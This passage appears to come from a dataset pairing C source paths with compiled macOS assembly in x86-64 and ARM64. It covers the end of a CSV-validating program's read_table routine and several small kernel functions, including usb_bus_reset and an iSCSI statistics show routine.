mov w25, #4
mov x22, x0
b LBB3_93
LBB3_100: ; in Loop: Header=BB3_5 Depth=1
sub w8, w28, #48
cmp w8, #10
b.hs LBB3_105
; %bb.101: ; in Loop: Header=BB3_5 Depth=1
mov w25, #5
b LBB3_93
LBB3_102: ; in Loop: Header=BB3_5 Depth=1
sub w9, w28, #48
cmp w28, #45
mov w10, #2
mov w11, #4
csel w10, w11, w10, eq
cmp w9, #10
mov w9, #5
csel w25, w9, w10, lo
mov x22, x8
b LBB3_93
LBB3_103: ; in Loop: Header=BB3_5 Depth=1
mov w25, #0
b LBB3_93
LBB3_104: ; in Loop: Header=BB3_5 Depth=1
mov w25, #9
b LBB3_93
LBB3_105: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #45
mov w8, #2
mov w9, #4
csel w25, w9, w8, eq
b LBB3_93
LBB3_106: ; in Loop: Header=BB3_5 Depth=1
str wzr, [x0]
LBB3_107: ; in Loop: Header=BB3_5 Depth=1
mov w25, #8
mov x22, x0
b LBB3_93
LBB3_108: ; in Loop: Header=BB3_5 Depth=1
mov w25, #2
mov x22, x0
b LBB3_93
LBB3_109: ; in Loop: Header=BB3_5 Depth=1
mov x22, x8
b LBB3_93
LBB3_110: ; in Loop: Header=BB3_5 Depth=1
mov w8, #6
LBB3_111: ; in Loop: Header=BB3_5 Depth=1
str w8, [x22]
LBB3_112: ; in Loop: Header=BB3_5 Depth=1
mov w25, #1
b LBB3_93
LBB3_113:
cmp w25, #9
b.hi LBB3_117
; %bb.114:
mov w8, #1
lsl w8, w8, w25
mov w9, #672
tst w8, w9
ldr x21, [sp, #32] ; 8-byte Folded Reload
b.eq LBB3_118
; %bb.115:
ldr w8, [x22]
and w9, w8, #0xfffffffe
cmp w9, #6
csinc w25, w25, wzr, ne
b LBB3_120
LBB3_116:
mov w25, #0
ldr w8, [x22]
b LBB3_120
LBB3_117:
ldr x21, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x22]
b LBB3_120
LBB3_118:
ldr w8, [x22]
b LBB3_120
LBB3_119: ; in Loop: Header=BB3_120 Depth=1
ldr x22, [x22, #16]
ldr w8, [x22]
LBB3_120: ; =>This Inner Loop Header: Depth=1
sub w8, w8, #3
cmp w8, #2
b.hs LBB3_119
b LBB3_122
LBB3_121: ; in Loop: Header=BB3_122 Depth=1
mov x22, x8
ldr x0, [x8, #16]
bl _free
LBB3_122: ; =>This Inner Loop Header: Depth=1
ldr x8, [x22, #8]
cbnz x8, LBB3_121
; %bb.123:
mov x0, x22
bl _free
mov x0, x19
mov x1, x21
mov w2, #0
bl _fseek
cmp w25, #1
cset w0, eq
ldp x29, x30, [sp, #128] ; 16-byte Folded Reload
ldp x20, x19, [sp, #112] ; 16-byte Folded Reload
ldp x22, x21, [sp, #96] ; 16-byte Folded Reload
ldp x24, x23, [sp, #80] ; 16-byte Folded Reload
ldp x26, x25, [sp, #64] ; 16-byte Folded Reload
ldp x28, x27, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #144
ret
LBB3_124:
Lloh76:
adrp x8, ___stderrp@GOTPAGE
Lloh77:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh78:
ldr x3, [x8]
Lloh79:
adrp x0, l_.str.21@PAGE
Lloh80:
add x0, x0, l_.str.21@PAGEOFF
mov w1, #272
mov w2, #1
bl _fwrite
mov w0, #-1
bl _exit
.loh AdrpAdd Lloh34, Lloh35
.loh AdrpAdd Lloh42, Lloh43
.loh AdrpAdd Lloh40, Lloh41
.loh AdrpAdd Lloh38, Lloh39
.loh AdrpAdd Lloh36, Lloh37
.loh AdrpAdd Lloh48, Lloh49
.loh AdrpAdd Lloh46, Lloh47
.loh AdrpAdd Lloh44, Lloh45
.loh AdrpAdd Lloh50, Lloh51
.loh AdrpAdd Lloh52, Lloh53
.loh AdrpAdd Lloh54, Lloh55
.loh AdrpAdd Lloh56, Lloh57
.loh AdrpAdd Lloh58, Lloh59
.loh AdrpAdd Lloh60, Lloh61
.loh AdrpAdd Lloh62, Lloh63
.loh AdrpAdd Lloh64, Lloh65
.loh AdrpAdd Lloh74, Lloh75
.loh AdrpAdd Lloh72, Lloh73
.loh AdrpAdd Lloh70, Lloh71
.loh AdrpAdd Lloh68, Lloh69
.loh AdrpAdd Lloh66, Lloh67
.loh AdrpAdd Lloh79, Lloh80
.loh AdrpLdrGotLdr Lloh76, Lloh77, Lloh78
.cfi_endproc
.section __TEXT,__const
lJTI3_0:
.byte (LBB3_95-LBB3_46)>>2
.byte (LBB3_93-LBB3_46)>>2
.byte (LBB3_46-LBB3_46)>>2
.byte (LBB3_93-LBB3_46)>>2
.byte (LBB3_96-LBB3_46)>>2
.byte (LBB3_93-LBB3_46)>>2
lJTI3_1:
.byte (LBB3_95-LBB3_46)>>2
.byte (LBB3_54-LBB3_46)>>2
.byte (LBB3_46-LBB3_46)>>2
.byte (LBB3_54-LBB3_46)>>2
.byte (LBB3_96-LBB3_46)>>2
.byte (LBB3_54-LBB3_46)>>2
lJTI3_2:
.byte (LBB3_95-LBB3_46)>>2
.byte (LBB3_90-LBB3_46)>>2
.byte (LBB3_46-LBB3_46)>>2
.byte (LBB3_46-LBB3_46)>>2
.byte (LBB3_96-LBB3_46)>>2
.byte (LBB3_93-LBB3_46)>>2
lJTI3_3:
.byte (LBB3_95-LBB3_43)>>2
.byte (LBB3_43-LBB3_43)>>2
.byte (LBB3_46-LBB3_43)>>2
.byte (LBB3_43-LBB3_43)>>2
.byte (LBB3_96-LBB3_43)>>2
.byte (LBB3_43-LBB3_43)>>2
lJTI3_4:
.byte (LBB3_95-LBB3_26)>>2
.byte (LBB3_26-LBB3_26)>>2
.byte (LBB3_46-LBB3_26)>>2
.byte (LBB3_26-LBB3_26)>>2
.byte (LBB3_96-LBB3_26)>>2
.byte (LBB3_26-LBB3_26)>>2
lJTI3_5:
.byte (LBB3_95-LBB3_46)>>2
.byte (LBB3_90-LBB3_46)>>2
.byte (LBB3_46-LBB3_46)>>2
.byte (LBB3_46-LBB3_46)>>2
.byte (LBB3_96-LBB3_46)>>2
.byte (LBB3_93-LBB3_46)>>2
lJTI3_6:
.byte (LBB3_75-LBB3_75)>>2
.byte (LBB3_102-LBB3_75)>>2
.byte (LBB3_93-LBB3_75)>>2
.byte (LBB3_93-LBB3_75)>>2
.byte (LBB3_93-LBB3_75)>>2
.byte (LBB3_93-LBB3_75)>>2
.byte (LBB3_75-LBB3_75)>>2
.byte (LBB3_102-LBB3_75)>>2
lJTI3_7:
.byte (LBB3_64-LBB3_64)>>2
.byte (LBB3_100-LBB3_64)>>2
.byte (LBB3_93-LBB3_64)>>2
.byte (LBB3_93-LBB3_64)>>2
.byte (LBB3_93-LBB3_64)>>2
.byte (LBB3_93-LBB3_64)>>2
.byte (LBB3_64-LBB3_64)>>2
.byte (LBB3_100-LBB3_64)>>2
; -- End function
.section __TEXT,__text,regular,pure_instructions
.globl _read_table ; -- Begin function read_table
.p2align 2
_read_table: ; @read_table
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp d9, d8, [sp, #32] ; 16-byte Folded Spill
stp x28, x27, [sp, #48] ; 16-byte Folded Spill
stp x26, x25, [sp, #64] ; 16-byte Folded Spill
stp x24, x23, [sp, #80] ; 16-byte Folded Spill
stp x22, x21, [sp, #96] ; 16-byte Folded Spill
stp x20, x19, [sp, #112] ; 16-byte Folded Spill
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
.cfi_offset b8, -104
.cfi_offset b9, -112
mov x22, x1
mov x19, x0
bl _ftell
mov x20, x0
mov x0, x19
bl _rewind
mov w0, #32
bl _malloc
mov x27, x0
mov w8, #1
str w8, [x0]
mov w0, #64
bl _malloc
mov x23, x0
mov w1, #64
mov x2, x19
bl _fgets
mov x0, x23
bl _strlen
add x8, x0, x23
ldurb w8, [x8, #-1]
cmp w8, #10
str x20, [sp, #16] ; 8-byte Folded Spill
b.eq LBB4_4
; %bb.1:
mov w20, #64
LBB4_2: ; =>This Inner Loop Header: Depth=1
mov x0, x19
bl _fgetc
mov x24, x0
mov x1, x19
bl _ungetc
cmn w24, #1
b.eq LBB4_4
; %bb.3: ; in Loop: Header=BB4_2 Depth=1
lsl w21, w20, #1
sxtw x1, w21
mov x0, x23
bl _realloc
mov x23, x0
sbfx w1, w20, #0, #31
add x8, x0, w1, sxtw
sub x0, x8, #1
mov x2, x19
bl _fgets
mov x0, x23
bl _strlen
add x8, x0, x23
ldurb w8, [x8, #-1]
mov x20, x21
cmp w8, #10
b.ne LBB4_2
LBB4_4:
mov x0, x23
bl _strlen
mov x24, x0
mov w8, #1
cmp w24, #1
b.lt LBB4_15
; %bb.5:
and x9, x24, #0xffffffff
mov w11, #2
mov x10, x23
mov w26, #1
b LBB4_8
LBB4_6: ; in Loop: Header=BB4_8 Depth=1
cmp w12, #34
cinc w11, w8, eq
LBB4_7: ; in Loop: Header=BB4_8 Depth=1
add x10, x10, #1
subs x9, x9, #1
b.eq LBB4_14
LBB4_8: ; =>This Inner Loop Header: Depth=1
ldrb w12, [x10]
cmp w11, #2
b.ne LBB4_6
; %bb.9: ; in Loop: Header=BB4_8 Depth=1
cmp w12, #34
b.eq LBB4_13
; %bb.10: ; in Loop: Header=BB4_8 Depth=1
cmp w12, #44
b.ne LBB4_12
; %bb.11: ; in Loop: Header=BB4_8 Depth=1
add w26, w26, #1
str w26, [x27]
LBB4_12: ; in Loop: Header=BB4_8 Depth=1
mov w11, #2
b LBB4_7
LBB4_13: ; in Loop: Header=BB4_8 Depth=1
mov w11, #1
b LBB4_7
LBB4_14:
scvtf d8, w24
b LBB4_16
LBB4_15:
movi d8, #0000000000000000
mov w26, #1
LBB4_16:
sxtw x0, w26
mov w1, #8
bl _calloc
str x0, [x27, #8]
cmp w26, #1
str x27, [sp, #24] ; 8-byte Folded Spill
b.lt LBB4_22
; %bb.17:
mov x25, x0
mov w20, w26
mov x21, x20
mov x27, x0
LBB4_18: ; =>This Inner Loop Header: Depth=1
mov w0, #16
bl _malloc
str x0, [x27], #8
subs x21, x21, #1
b.ne LBB4_18
; %bb.19:
tbnz w22, #0, LBB4_23
; %bb.20:
fmov d0, d8
bl _log
mov x21, #0
mov x8, #21782
movk x8, #48053, lsl #16
movk x8, #27569, lsl #32
movk x8, #16386, lsl #48
fmov d1, x8
fdiv d0, d0, d1
frintp d0, d0
fmov d1, #2.00000000
fadd d0, d0, d1
fcvtzs w8, d0
sxtw x24, w8
Lloh81:
adrp x26, l_.str.14@PAGE
Lloh82:
add x26, x26, l_.str.14@PAGEOFF
LBB4_21: ; =>This Inner Loop Header: Depth=1
mov x0, x24
bl _malloc
lsl x8, x21, #3
ldr x9, [x25, x8]
str x0, [x9]
ldr x8, [x25, x8]
ldr x0, [x8]
str x21, [sp]
mov x1, x24
mov x2, x26
bl _snprintf
add x21, x21, #1
cmp x20, x21
b.ne LBB4_21
b LBB4_38
LBB4_22:
tbz w22, #0, LBB4_39
LBB4_23:
cmp w24, #1
b.lt LBB4_33
; %bb.24:
and x8, x24, #0xffffffff
mov w12, #2
mov w9, #1
mov x10, #9216
movk x10, #4, lsl #32
mov x11, x23
b LBB4_28
LBB4_25: ; in Loop: Header=BB4_28 Depth=1
mov w12, #1
LBB4_26: ; in Loop: Header=BB4_28 Depth=1
strb wzr, [x11]
LBB4_27: ; in Loop: Header=BB4_28 Depth=1
add x11, x11, #1
subs x8, x8, #1
b.eq LBB4_33
LBB4_28: ; =>This Inner Loop Header: Depth=1
ldrb w13, [x11]
cmp w12, #2
b.eq LBB4_31
; %bb.29: ; in Loop: Header=BB4_28 Depth=1
cmp w13, #34
cinc w12, w9, eq
LBB4_30: ; in Loop: Header=BB4_28 Depth=1
cmp w13, #34
lsl x13, x9, x13
and x13, x13, x10
ccmp x13, #0, #4, ls
b.ne LBB4_26
b LBB4_27
LBB4_31: ; in Loop: Header=BB4_28 Depth=1
cmp w13, #34
b.eq LBB4_25
; %bb.32: ; in Loop: Header=BB4_28 Depth=1
mov w12, #2
cmp w13, #44
b.eq LBB4_26
b LBB4_30
LBB4_33:
cmp w26, #1
b.lt LBB4_38
; %bb.34:
mov x20, #0
add x24, x23, #1
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x21, [x8, #8]
mov w27, w26
LBB4_35: ; =>This Loop Header: Depth=1
; Child Loop BB4_36 Depth 2
mov x0, x24
bl _strlen
mov x25, x0
add w8, w25, #1
sxtw x26, w8
mov x0, x26
bl _malloc
lsl x8, x20, #3
ldr x9, [x21, x8]
str x0, [x9]
ldr x8, [x21, x8]
ldr x0, [x8]
mov x1, x24
mov x2, x26
bl _strncpy
add x8, x24, w25, sxtw
sub x24, x8, #1
LBB4_36: ; Parent Loop BB4_35 Depth=1
; => This Inner Loop Header: Depth=2
ldrb w8, [x24, #1]!
cbz w8, LBB4_36
; %bb.37: ; in Loop: Header=BB4_35 Depth=1
add x20, x20, #1
cmp x20, x27
b.ne LBB4_35
LBB4_38:
ldr x27, [sp, #24] ; 8-byte Folded Reload
tbnz w22, #0, LBB4_40
LBB4_39:
mov x0, x19
bl _rewind
LBB4_40:
cbz x23, LBB4_42
; %bb.41:
mov x0, x23
bl _free
LBB4_42:
mov w0, #64
bl _malloc
mov x23, x0
mov w1, #64
mov x2, x19
bl _fgets
mov x0, x23
bl _strlen
add x8, x0, x23
ldurb w8, [x8, #-1]
cmp w8, #10
b.eq LBB4_46
; %bb.43:
mov w20, #64
LBB4_44: ; =>This Inner Loop Header: Depth=1
mov x0, x19
bl _fgetc
mov x24, x0
mov x1, x19
bl _ungetc
cmn w24, #1
b.eq LBB4_46
; %bb.45: ; in Loop: Header=BB4_44 Depth=1
lsl w21, w20, #1
sxtw x1, w21
mov x0, x23
bl _realloc
mov x23, x0
sbfx w1, w20, #0, #31
add x8, x0, w1, sxtw
sub x0, x8, #1
mov x2, x19
bl _fgets
mov x0, x23
bl _strlen
add x8, x0, x23
ldurb w8, [x8, #-1]
mov x20, x21
cmp w8, #10
b.ne LBB4_44
LBB4_46:
mov x0, x23
bl _strlen
cmp w0, #1
b.lt LBB4_51
; %bb.47:
mov w12, #0
mov w8, #0
and x9, x0, #0xffffffff
mov w10, #1
mov x11, x23
b LBB4_49
LBB4_48: ; in Loop: Header=BB4_49 Depth=1
ldrb w13, [x11], #1
cmp w13, #44
cset w14, ne
cmp w13, #34
cinc w13, w10, eq
lsl w14, w14, #1
cmp w12, #1
csel w12, w13, w14, eq
subs x9, x9, #1
b.eq LBB4_51
LBB4_49: ; =>This Inner Loop Header: Depth=1
cbnz w12, LBB4_48
; %bb.50: ; in Loop: Header=BB4_49 Depth=1
ldrb w12, [x11]
cmp w12, #34
cset w13, eq
ldr x12, [x27, #8]
ldr x14, [x12, w8, sxtw #3]
cinc w12, w10, ne
str w13, [x14, #8]
add w8, w8, #1
b LBB4_48
LBB4_51:
mov x0, x19
bl _rewind
mov w0, #1
mov w1, #16
bl _calloc
stp x0, x0, [x27, #16]
cbz w22, LBB4_53
; %bb.52:
mov x0, x23
bl _free
LBB4_53:
mov w0, #64
bl _malloc
mov x22, x0
mov w1, #64
mov x2, x19
bl _fgets
mov x0, x22
bl _strlen
add x8, x0, x22
ldurb w8, [x8, #-1]
cmp w8, #10
b.eq LBB4_57
; %bb.54:
mov w20, #64
LBB4_55: ; =>This Inner Loop Header: Depth=1
mov x0, x19
bl _fgetc
mov x23, x0
mov x1, x19
bl _ungetc
cmn w23, #1
b.eq LBB4_57
; %bb.56: ; in Loop: Header=BB4_55 Depth=1
lsl w21, w20, #1
sxtw x1, w21
mov x0, x22
bl _realloc
mov x22, x0
sbfx w1, w20, #0, #31
add x8, x0, w1, sxtw
sub x0, x8, #1
mov x2, x19
bl _fgets
mov x0, x22
bl _strlen
add x8, x0, x22
ldurb w8, [x8, #-1]
mov x20, x21
cmp w8, #10
b.ne LBB4_55
LBB4_57:
mov x0, x19
bl _fgetc
cmn w0, #1
b.eq LBB4_87
; %bb.58:
mov x23, x0
ldr w28, [x27]
mov w26, #1
b LBB4_60
LBB4_59: ; in Loop: Header=BB4_60 Depth=1
mov x0, x19
bl _fgetc
mov x23, x0
cmn w0, #1
b.eq LBB4_87
LBB4_60: ; =>This Loop Header: Depth=1
; Child Loop BB4_64 Depth 2
; Child Loop BB4_71 Depth 2
; Child Loop BB4_77 Depth 2
; Child Loop BB4_80 Depth 2
; Child Loop BB4_85 Depth 3
mov w0, #1
mov w1, #16
bl _calloc
mov x24, x0
ldr x8, [x27, #24]
str x0, [x8, #8]
str x0, [x27, #24]
; kill: def $w28 killed $w28 killed $x28 def $x28
sxtw x0, w28
mov w1, #8
bl _calloc
str x0, [x24]
mov x0, x23
mov x1, x19
bl _ungetc
cbz x22, LBB4_62
; %bb.61: ; in Loop: Header=BB4_60 Depth=1
mov x0, x22
bl _free
LBB4_62: ; in Loop: Header=BB4_60 Depth=1
mov w0, #64
bl _malloc
mov x22, x0
mov w1, #64
mov x2, x19
bl _fgets
mov x0, x22
bl _strlen
add x8, x0, x22
ldurb w8, [x8, #-1]
cmp w8, #10
b.eq LBB4_66
; %bb.63: ; in Loop: Header=BB4_60 Depth=1
mov w20, #64
LBB4_64: ; Parent Loop BB4_60 Depth=1
; => This Inner Loop Header: Depth=2
mov x0, x19
bl _fgetc
mov x23, x0
mov x1, x19
bl _ungetc
cmn w23, #1
b.eq LBB4_66
; %bb.65: ; in Loop: Header=BB4_64 Depth=2
lsl w21, w20, #1
sxtw x1, w21
mov x0, x22
bl _realloc
mov x22, x0
sbfx w1, w20, #0, #31
add x8, x0, w1, sxtw
sub x0, x8, #1
mov x2, x19
bl _fgets
mov x0, x22
bl _strlen
add x8, x0, x22
ldurb w8, [x8, #-1]
mov x20, x21
cmp w8, #10
b.ne LBB4_64
LBB4_66: ; in Loop: Header=BB4_60 Depth=1
mov x0, x22
bl _strlen
cmp w0, #1
mov x12, #9216
movk x12, #4, lsl #32
b.lt LBB4_76
; %bb.67: ; in Loop: Header=BB4_60 Depth=1
and x8, x0, #0xffffffff
mov w10, #2
mov x9, x22
b LBB4_71
LBB4_68: ; in Loop: Header=BB4_71 Depth=2
mov w10, #1
LBB4_69: ; in Loop: Header=BB4_71 Depth=2
strb wzr, [x9]
LBB4_70: ; in Loop: Header=BB4_71 Depth=2
add x9, x9, #1
subs x8, x8, #1
b.eq LBB4_76
LBB4_71: ; Parent Loop BB4_60 Depth=1
; => This Inner Loop Header: Depth=2
ldrb w11, [x9]
cmp w10, #2
b.eq LBB4_74
; %bb.72: ; in Loop: Header=BB4_71 Depth=2
cmp w11, #34
cinc w10, w26, eq
LBB4_73: ; in Loop: Header=BB4_71 Depth=2
cmp w11, #34
lsl x11, x26, x11
and x11, x11, x12
ccmp x11, #0, #4, ls
b.ne LBB4_69
b LBB4_70
LBB4_74: ; in Loop: Header=BB4_71 Depth=2
cmp w11, #34
b.eq LBB4_68
; %bb.75: ; in Loop: Header=BB4_71 Depth=2
mov w10, #2
cmp w11, #44
b.eq LBB4_69
b LBB4_73
LBB4_76: ; in Loop: Header=BB4_60 Depth=1
sub x23, x22, #1
LBB4_77: ; Parent Loop BB4_60 Depth=1
; => This Inner Loop Header: Depth=2
ldrb w8, [x23, #1]!
cbz w8, LBB4_77
; %bb.78: ; in Loop: Header=BB4_60 Depth=1
ldr w28, [x27]
cmp w28, #1
b.lt LBB4_59
; %bb.79: ; in Loop: Header=BB4_60 Depth=1
mov x20, #0
ldr x21, [x27, #8]
LBB4_80: ; Parent Loop BB4_60 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB4_85 Depth 3
mov x0, x23
bl _strlen
mov x24, x0
ldr x8, [x21, x20, lsl #3]
ldr w8, [x8, #8]
cbz w8, LBB4_83
; %bb.81: ; in Loop: Header=BB4_80 Depth=2
cmp w8, #1
b.ne LBB4_84
; %bb.82: ; in Loop: Header=BB4_80 Depth=2
add w8, w24, #1
sxtw x25, w8
mov x0, x25
bl _malloc
ldr x8, [x27, #24]
ldr x9, [x8]
lsl x10, x20, #3
str x0, [x9, x10]
ldr x8, [x8]
ldr x0, [x8, x10]
mov x1, x23
mov x2, x25
bl _strncpy
b LBB4_84
LBB4_83: ; in Loop: Header=BB4_80 Depth=2
mov w0, #8
bl _malloc
ldr x25, [x27, #24]
ldr x8, [x25]
lsl x27, x20, #3
str x0, [x8, x27]
mov x0, x23
bl _atof
ldr x8, [x25]
ldr x8, [x8, x27]
ldr x27, [sp, #24] ; 8-byte Folded Reload
str d0, [x8]
LBB4_84: ; in Loop: Header=BB4_80 Depth=2
add x8, x23, w24, sxtw
sub x23, x8, #1
LBB4_85: ; Parent Loop BB4_60 Depth=1
; Parent Loop BB4_80 Depth=2
; => This Inner Loop Header: Depth=3
ldrb w8, [x23, #1]!
cbz w8, LBB4_85
; %bb.86: ; in Loop: Header=BB4_80 Depth=2
add x20, x20, #1
cmp x20, x28
b.ne LBB4_80
b LBB4_59
LBB4_87:
ldr x8, [x27, #16]
str x8, [x27, #24]
mov x0, x19
ldr x1, [sp, #16] ; 8-byte Folded Reload
mov w2, #0
bl _fseek
mov x0, x27
ldp x29, x30, [sp, #128] ; 16-byte Folded Reload
ldp x20, x19, [sp, #112] ; 16-byte Folded Reload
ldp x22, x21, [sp, #96] ; 16-byte Folded Reload
ldp x24, x23, [sp, #80] ; 16-byte Folded Reload
ldp x26, x25, [sp, #64] ; 16-byte Folded Reload
ldp x28, x27, [sp, #48] ; 16-byte Folded Reload
ldp d9, d8, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #144
ret
.loh AdrpAdd Lloh81, Lloh82
.cfi_endproc
; -- End function
.globl _debug ; @debug
.zerofill __DATA,__common,_debug,1,0
.globl _symbol_strings ; @symbol_strings
.zerofill __DATA,__common,_symbol_strings,8,3
.globl _state_strings ; @state_strings
.zerofill __DATA,__common,_state_strings,8,3
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "--noheader"
l_.str.1: ; @.str.1
.asciz "r"
l_.str.2: ; @.str.2
.asciz "%s: %s: %s\n"
l_.str.3: ; @.str.3
.asciz "Invalid CSV code.\n"
l_.str.5: ; @.str.5
.asciz "%d fields:\n"
l_.str.6: ; @.str.6
.asciz "%s: "
l_.str.7: ; @.str.7
.asciz "%s"
l_.str.8: ; @.str.8
.asciz "number"
l_.str.9: ; @.str.9
.asciz "string"
l_.str.10: ; @.str.10
.asciz "Record %d:\n"
l_.str.11: ; @.str.11
.asciz "%f\n"
l_.str.13: ; @.str.13
.asciz "Usage: %s filename.csv [--noheader]\n"
.section __TEXT,__const
l_.str.14: ; @.str.14
.asciz "x%d\000"
.section __TEXT,__cstring,cstring_literals
l_.str.15: ; @.str.15
.asciz "-------------------------------------------------------------------------------"
l_.str.16: ; @.str.16
.asciz "Current state: %s\n"
l_.str.17: ; @.str.17
.asciz "Input symbol: %c,0x%s%x\n"
l_.str.18: ; @.str.18
.asciz "0"
l_.str.19: ; @.str.19
.space 1
l_.str.20: ; @.str.20
.asciz "Current tape symbol: %s\n"
l_.str.21: ; @.str.21
.asciz "Error: Turing machine fall-though.\nIf you are seeing this message, it means that there is a possible set\nof Turing machine parameters that the programmer failed to account for.\nPlease notify Michael Warren a.k.a. Psycho Cod3r using the email address\nlisted on his GitHub.\n"
l_.str.22: ; @.str.22
.asciz "Next state: %s\n"
l_.str.23: ; @.str.23
.asciz "Next tape symbol: %s\n"
l_.str.24: ; @.str.24
.asciz "--------------------------------------------------------------------------------"
l_.str.25: ; @.str.25
.asciz "----------------------------------------"
l_.str.26: ; @.str.26
.asciz "--------------------"
l_str: ; @str
.asciz "CSV code is valid."
.subsections_via_symbols
| the_stack_data/726805.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function usb_bus_reset
_usb_bus_reset: ## @usb_bus_reset
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
leaq L_.str(%rip), %rdi
callq _DPRINTF
movq (%rbx), %rax
cmpq $0, 8(%rax)
je LBB0_2
## %bb.1:
cmpq $0, (%rax)
je LBB0_3
LBB0_2:
addq $8, %rsp
popq %rbx
popq %rbp
retq
LBB0_3:
movq %rbx, %rdi
callq _usb_bus_suspend
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _usb_bus_resume ## TAILCALL
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\n"
.no_dead_strip _usb_bus_reset
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function usb_bus_reset
_usb_bus_reset: ; @usb_bus_reset
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _DPRINTF
ldr x8, [x19]
ldr x9, [x8, #8]
cbz x9, LBB0_2
; %bb.1:
ldr x8, [x8]
cbz x8, LBB0_3
LBB0_2:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
LBB0_3:
mov x0, x19
bl _usb_bus_suspend
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _usb_bus_resume
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\n"
.no_dead_strip _usb_bus_reset
.subsections_via_symbols
| AnghaBench/freebsd/sys/dev/usb/controller/extr_usb_controller.c_usb_bus_reset.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function iscsi_stat_sess_err_cxn_errors_show
_iscsi_stat_sess_err_cxn_errors_show: ## @iscsi_stat_sess_err_cxn_errors_show
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rsi, %rbx
callq _iscsi_sess_err_tiqn
movq _PAGE_SIZE@GOTPCREL(%rip), %rcx
movl (%rcx), %esi
movl (%rax), %ecx
leaq L_.str(%rip), %rdx
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _snprintf ## TAILCALL
.cfi_endproc
## -- End function
.comm _PAGE_SIZE,4,2 ## @PAGE_SIZE
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%u\n"
.no_dead_strip _iscsi_stat_sess_err_cxn_errors_show
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function iscsi_stat_sess_err_cxn_errors_show
_iscsi_stat_sess_err_cxn_errors_show: ; @iscsi_stat_sess_err_cxn_errors_show
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
bl _iscsi_sess_err_tiqn
Lloh0:
adrp x8, _PAGE_SIZE@GOTPAGE
Lloh1:
ldr x8, [x8, _PAGE_SIZE@GOTPAGEOFF]
Lloh2:
ldr w1, [x8]
ldr w3, [x0]
Lloh3:
adrp x2, l_.str@PAGE
Lloh4:
add x2, x2, l_.str@PAGEOFF
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _snprintf
.loh AdrpAdd Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _PAGE_SIZE,4,2 ; @PAGE_SIZE
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%u\n"
.no_dead_strip _iscsi_stat_sess_err_cxn_errors_show
.subsections_via_symbols
| AnghaBench/linux/drivers/target/iscsi/extr_iscsi_target_stat.c_iscsi_stat_sess_err_cxn_errors_show.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function __rap_reg_write
___rap_reg_write: ## @__rap_reg_write
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip ___rap_reg_write
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
